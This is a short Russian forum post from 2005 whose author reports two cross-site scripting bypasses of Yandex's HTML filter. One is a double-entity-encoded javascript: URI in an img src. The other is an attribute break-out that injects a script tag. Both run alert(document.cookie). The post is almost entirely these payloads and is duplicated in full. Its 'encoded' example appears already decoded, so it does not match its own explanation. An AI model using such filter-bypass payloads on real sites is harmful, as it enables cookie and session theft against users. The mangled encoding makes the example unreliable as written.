LittleLamer
13.05.2005, 01:40
Вот на yandex нашёл 2 xss.
1.
<img src="javascript:alert(document.cookie)">
суть в том, что javascript:alert(document.cookie) кодируется к виду &#..., а потом получившаяся строчка ещё раз кодируется по такому же принципу. Фильтр один раз декодирует src и получится такое:
<img src="javascript:alert(document.cookie)">
это "javascript..." закодированое 1 раз
а это браузер прекрасно поймёт :)
2.
<img src=a"><a id=xxx></a><script>alert(document.cookie);</script><a src=">
синим цветом - alert(document.cookie);
Ошибка фильтра опять в том, что неправильно понимает содержимое src и ещё хуже декодирует строки типа &#...
1.
<img src="javascript:alert(document.cookie)">
суть в том, что javascript:alert(document.cookie) кодируется к виду &#..., а потом получившаяся строчка ещё раз кодируется по такому же принципу. Фильтр один раз декодирует src и получится такое:
<img src="javascript:alert(document.cookie)">
это "javascript..." закодированое 1 раз
а это браузер прекрасно поймёт :)
2.
<img src=a"><a id=xxx></a><script>alert(document.cookie);</script><a src=">
синим цветом - alert(document.cookie);
Ошибка фильтра опять в том, что неправильно понимает содержимое src и ещё хуже декодирует строки типа &#...